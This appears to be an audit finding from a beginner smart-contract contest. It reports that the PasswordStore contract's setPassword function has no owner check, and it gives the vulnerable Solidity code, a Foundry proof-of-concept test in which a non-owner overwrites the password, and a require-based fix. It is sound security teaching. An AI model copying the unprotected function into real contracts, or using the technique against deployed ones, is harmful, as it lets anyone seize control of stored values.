First Flight #1: PasswordStore
First Flight #1
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Access Control issue on PasswordStore's setPassword

cryptonoob

Summary

Access control issues occours when insecure visibility settings give attackers straightforward ways to access a contract's private values or logic, or when there aren't checks in place (such as modifiers) to validate callers.

Vulnerability Details

Missing modifier on setPassword function allows an attacker to use it to change the contract's password.
PasswordStore's setPassword function doesnt implement access control such as a modifier to restrict the caller of the function so anyone can change contract password variable:

function setPassword(string memory newPassword) external {
s_password = newPassword;
emit SetNetPassword();
}

Proof of Concept

Create a new test function in provided test file PasswordStore.t.sol:

function test_non_owner_set_password() public {
vm.startPrank(address(1));
string memory expectedPassword = "NonOwner";
// CALL SET PASSWORD AS NON OWNER
passwordStore.setPassword(expectedPassword);
​
// CHECK password is changed Using load to getPassword from storage slot
bytes32 slotPwd = vm.load(
address(passwordStore),
bytes32(uint256(1))
);
console.log("Modifieds password: ");
console.logBytes32(slotPwd);
}

Run test with verbose option:

forge test -vv

Impact

Anyone can change contract password leading to high integrity loss.

Tools Used

Manual analysis

Recommendations

Implement a modifier or a require to protect this functionality such as

function setPassword(string memory newPassword) external {
require(msg.sender == s_owner,"only owner");
s_password = newPassword;
emit SetNetPassword();
}

References

https://github.com/crytic/not-so-smart-contracts/tree/master/unprotected_function
https://swcregistry.io/docs/SWC-123/

Updates

Lead Judging Commences

inallhonesty Lead Judge
almost 2 years ago
inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-lacking-access-control

Anyone can call `setPassword` and set a new password contrary to the intended purpose.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.